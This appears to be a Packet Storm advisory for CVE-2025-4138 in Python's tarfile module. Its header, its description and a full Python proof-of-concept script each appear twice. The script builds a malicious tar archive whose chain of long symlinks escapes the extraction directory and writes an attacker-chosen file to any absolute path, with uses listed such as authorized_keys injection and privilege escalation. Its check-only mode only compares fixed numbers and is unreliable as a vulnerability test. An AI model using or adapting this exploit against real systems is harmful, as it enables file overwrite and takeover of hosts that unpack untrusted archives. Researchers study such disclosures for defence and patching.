7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Description
This proof of concept exploit targets CVE-2025-4138, a vulnerability in Python's built-in tarfile module when extracting archives using filter="data". The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path...
Basic Information
ID
PACKETSTORM:215859
Published
Feb 19, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Python tarfile filter="data" Bypass via PATH_MAX Symlink Chain |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.python.org/ |
=============================================================================================================================================
[+] Summary : This Proof of Concept (PoC) targets CVE-2025-4138, a vulnerability in Pythonβs built-in tarfile module when extracting archives using filter="data".
The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path length handling and symbolic link resolution.
[+] The attack relies on:
Building a deep symlink chain that approaches the systemβs PATH_MAX limit.
Using very long directory names (247 characters each) repeated across multiple nested levels.
Creating carefully structured symbolic links that pivot path resolution outside the intended extraction directory.
Writing an arbitrary file to an absolute attacker-controlled path, escaping the extraction root.
The technique manipulates path normalization and symlink resolution behavior during archive extraction.
[+] Key Characteristics :
Dynamically detects PATH_MAX depending on OS:
Linux (typically 4096)
macOS (typically 1024)
Windows (MAX_PATH 260)
Generates a malicious .tar archive.
Allows custom file permission mode for the payload.
Includes a --check-only mode to test whether the system may be vulnerable without building the archive.
Requires the target file path to be absolute.
[+] Affected Versions :
Python 3.12.0 β 3.12.10
Python 3.13.0 β 3.13.3
[+] Fixed In ;
Python 3.12.11
Python 3.13.4
[+] Impact :
If a vulnerable system extracts a malicious archive using tarfile with filter="data" and insufficient path validation:
Arbitrary file write outside the intended extraction directory becomes possible.
[+] This may lead to:
Configuration overwrite
Authorized keys injection
Service hijacking
Privilege escalation (depending on execution context)
Impact severity depends on:
The privileges of the extraction process
The writable filesystem locations
Application behavior after extraction
[+] POC :
#!/usr/bin/env python3
import argparse
import io
import os
import tarfile
import sys
DIR_LEN = 247
CHARS = "abcdefghijklmnop"
def get_path_max():
"""Determine PATH_MAX based on the operating system"""
import platform
system = platform.system()
if system == "Linux":
return 4096
elif system == "Darwin":
return 1024
elif system == "Windows":
return 260
else:
return 4096
def build_tar(tar_path, target_file, payload, mode):
if not os.path.isabs(target_file):
raise ValueError(f"Target path must be absolute: {target_file}")
target_dir = os.path.dirname(target_file)
target_name = os.path.basename(target_file)
if not target_name:
raise ValueError(f"Target file has no basename: {target_file}")
long_dir = "d" * DIR_LEN
path_max = get_path_max()
print(f"[*] PATH_MAX detected: {path_max}")
print(f"[*] Chain length: {len(CHARS) * DIR_LEN} bytes")
if len(CHARS) * DIR_LEN >= path_max:
print(f"[!] Warning: Chain length may exceed PATH_MAX on this system")
with tarfile.open(tar_path, "w") as tar:
prefix = ""
for i, char in enumerate(CHARS):
d = tarfile.TarInfo(os.path.join(prefix, long_dir))
d.type = tarfile.DIRTYPE
d.mode = 0o755
d.uid = 0
d.gid = 0
d.uname = "root"
d.gname = "root"
tar.addfile(d)
s = tarfile.TarInfo(os.path.join(prefix, char))
s.type = tarfile.SYMTYPE
s.linkname = long_dir
s.mode = 0o777
s.size = 0
s.uid = 0
s.gid = 0
tar.addfile(s)
prefix = os.path.join(prefix, long_dir)
short_chain = "/".join(CHARS) # "a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p"
pivot_name = os.path.join(short_chain, "l" * 254)
pivot = tarfile.TarInfo(pivot_name)
pivot.type = tarfile.SYMTYPE
pivot.linkname = "../" * len(CHARS)
pivot.mode = 0o777
pivot.size = 0
pivot.uid = 0
pivot.gid = 0
tar.addfile(pivot)
escape_name = "escape"
escape = tarfile.TarInfo(escape_name)
escape.type = tarfile.SYMTYPE
dir_count = len(CHARS) + 1
target_dir_clean = target_dir.lstrip('/')
if target_dir_clean:
escape.linkname = pivot_name + "/" + ("../" * dir_count) + target_dir_clean
else:
escape.linkname = pivot_name + "/" + ("../" * dir_count)
escape.mode = 0o777
escape.size = 0
escape.uid = 0
escape.gid = 0
tar.addfile(escape)
f = tarfile.TarInfo(f"{escape_name}/{target_name}")
f.type = tarfile.REGTYPE
f.size = len(payload)
f.mode = mode
f.uid = 0
f.gid = 0
f.uname = "root"
f.gname = "root"
print(f"[*] Adding payload: {f.name} -> {target_file}")
print(f"[*] Payload size: {f.size} bytes")
print(f"[*] File mode: {oct(f.mode)}")
tar.addfile(f, io.BytesIO(payload))
print(f"[+] Malicious tar created: {tar_path}")
def main():
p = argparse.ArgumentParser(description="CVE-2025-4138 tarfile filter bypass")
p.add_argument("-o", "--output", required=True, help="output tar path")
p.add_argument("-t", "--target", required=True, help="absolute path to write to on target")
p.add_argument("-p", "--payload", required=True, help="File to use as a payload")
p.add_argument("-m", "--mode", required=False, default="0644", help="Set file permissions (default: 0644)")
p.add_argument("--check-only", action="store_true", help="Only check if target is vulnerable")
args = p.parse_args()
if not os.path.isabs(args.target):
print(f"[-] Error: Target path must be absolute: {args.target}")
sys.exit(1)
payload_path = os.path.expanduser(args.payload)
if not os.path.exists(payload_path):
print(f"[-] Payload file not found: {payload_path}")
sys.exit(1)
with open(payload_path, "rb") as fh:
payload = fh.read()
if not payload.endswith(b"\n"):
payload += b"\n"
if args.check_only:
print("[*] Checking system vulnerability...")
path_max = get_path_max()
chain_length = len(CHARS) * DIR_LEN
print(f"[*] PATH_MAX: {path_max}")
print(f"[*] Chain length: {chain_length}")
if chain_length < path_max:
print("[+] System appears vulnerable (chain length < PATH_MAX)")
else:
print("[-] System may not be vulnerable (chain length >= PATH_MAX)")
return
try:
build_tar(args.output, args.target, payload, int(args.mode, 8))
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : Python tarfile filter="data" Bypass via PATH_MAX Symlink Chain |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.python.org/ |
=============================================================================================================================================
[+] Summary : This Proof of Concept (PoC) targets CVE-2025-4138, a vulnerability in Pythonβs built-in tarfile module when extracting archives using filter="data".
The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path length handling and symbolic link resolution.
[+] The attack relies on:
Building a deep symlink chain that approaches the systemβs PATH_MAX limit.
Using very long directory names (247 characters each) repeated across multiple nested levels.
Creating carefully structured symbolic links that pivot path resolution outside the intended extraction directory.
Writing an arbitrary file to an absolute attacker-controlled path, escaping the extraction root.
The technique manipulates path normalization and symlink resolution behavior during archive extraction.
[+] Key Characteristics :
Dynamically detects PATH_MAX depending on OS:
Linux (typically 4096)
macOS (typically 1024)
Windows (MAX_PATH 260)
Generates a malicious .tar archive.
Allows custom file permission mode for the payload.
Includes a --check-only mode to test whether the system may be vulnerable without building the archive.
Requires the target file path to be absolute.
[+] Affected Versions :
Python 3.12.0 β 3.12.10
Python 3.13.0 β 3.13.3
[+] Fixed In ;
Python 3.12.11
Python 3.13.4
[+] Impact :
If a vulnerable system extracts a malicious archive using tarfile with filter="data" and insufficient path validation:
Arbitrary file write outside the intended extraction directory becomes possible.
[+] This may lead to:
Configuration overwrite
Authorized keys injection
Service hijacking
Privilege escalation (depending on execution context)
Impact severity depends on:
The privileges of the extraction process
The writable filesystem locations
Application behavior after extraction
[+] POC :
#!/usr/bin/env python3
import argparse
import io
import os
import tarfile
import sys
DIR_LEN = 247
CHARS = "abcdefghijklmnop"
def get_path_max():
"""Determine PATH_MAX based on the operating system"""
import platform
system = platform.system()
if system == "Linux":
return 4096
elif system == "Darwin":
return 1024
elif system == "Windows":
return 260
else:
return 4096
def build_tar(tar_path, target_file, payload, mode):
if not os.path.isabs(target_file):
raise ValueError(f"Target path must be absolute: {target_file}")
target_dir = os.path.dirname(target_file)
target_name = os.path.basename(target_file)
if not target_name:
raise ValueError(f"Target file has no basename: {target_file}")
long_dir = "d" * DIR_LEN
path_max = get_path_max()
print(f"[*] PATH_MAX detected: {path_max}")
print(f"[*] Chain length: {len(CHARS) * DIR_LEN} bytes")
if len(CHARS) * DIR_LEN >= path_max:
print(f"[!] Warning: Chain length may exceed PATH_MAX on this system")
with tarfile.open(tar_path, "w") as tar:
prefix = ""
for i, char in enumerate(CHARS):
d = tarfile.TarInfo(os.path.join(prefix, long_dir))
d.type = tarfile.DIRTYPE
d.mode = 0o755
d.uid = 0
d.gid = 0
d.uname = "root"
d.gname = "root"
tar.addfile(d)
s = tarfile.TarInfo(os.path.join(prefix, char))
s.type = tarfile.SYMTYPE
s.linkname = long_dir
s.mode = 0o777
s.size = 0
s.uid = 0
s.gid = 0
tar.addfile(s)
prefix = os.path.join(prefix, long_dir)
short_chain = "/".join(CHARS) # "a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p"
pivot_name = os.path.join(short_chain, "l" * 254)
pivot = tarfile.TarInfo(pivot_name)
pivot.type = tarfile.SYMTYPE
pivot.linkname = "../" * len(CHARS)
pivot.mode = 0o777
pivot.size = 0
pivot.uid = 0
pivot.gid = 0
tar.addfile(pivot)
escape_name = "escape"
escape = tarfile.TarInfo(escape_name)
escape.type = tarfile.SYMTYPE
dir_count = len(CHARS) + 1
target_dir_clean = target_dir.lstrip('/')
if target_dir_clean:
escape.linkname = pivot_name + "/" + ("../" * dir_count) + target_dir_clean
else:
escape.linkname = pivot_name + "/" + ("../" * dir_count)
escape.mode = 0o777
escape.size = 0
escape.uid = 0
escape.gid = 0
tar.addfile(escape)
f = tarfile.TarInfo(f"{escape_name}/{target_name}")
f.type = tarfile.REGTYPE
f.size = len(payload)
f.mode = mode
f.uid = 0
f.gid = 0
f.uname = "root"
f.gname = "root"
print(f"[*] Adding payload: {f.name} -> {target_file}")
print(f"[*] Payload size: {f.size} bytes")
print(f"[*] File mode: {oct(f.mode)}")
tar.addfile(f, io.BytesIO(payload))
print(f"[+] Malicious tar created: {tar_path}")
def main():
p = argparse.ArgumentParser(description="CVE-2025-4138 tarfile filter bypass")
p.add_argument("-o", "--output", required=True, help="output tar path")
p.add_argument("-t", "--target", required=True, help="absolute path to write to on target")
p.add_argument("-p", "--payload", required=True, help="File to use as a payload")
p.add_argument("-m", "--mode", required=False, default="0644", help="Set file permissions (default: 0644)")
p.add_argument("--check-only", action="store_true", help="Only check if target is vulnerable")
args = p.parse_args()
if not os.path.isabs(args.target):
print(f"[-] Error: Target path must be absolute: {args.target}")
sys.exit(1)
payload_path = os.path.expanduser(args.payload)
if not os.path.exists(payload_path):
print(f"[-] Payload file not found: {payload_path}")
sys.exit(1)
with open(payload_path, "rb") as fh:
payload = fh.read()
if not payload.endswith(b"\n"):
payload += b"\n"
if args.check_only:
print("[*] Checking system vulnerability...")
path_max = get_path_max()
chain_length = len(CHARS) * DIR_LEN
print(f"[*] PATH_MAX: {path_max}")
print(f"[*] Chain length: {chain_length}")
if chain_length < path_max:
print("[+] System appears vulnerable (chain length < PATH_MAX)")
else:
print("[-] System may not be vulnerable (chain length >= PATH_MAX)")
return
try:
build_tar(args.output, args.target, payload, int(args.mode, 8))
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================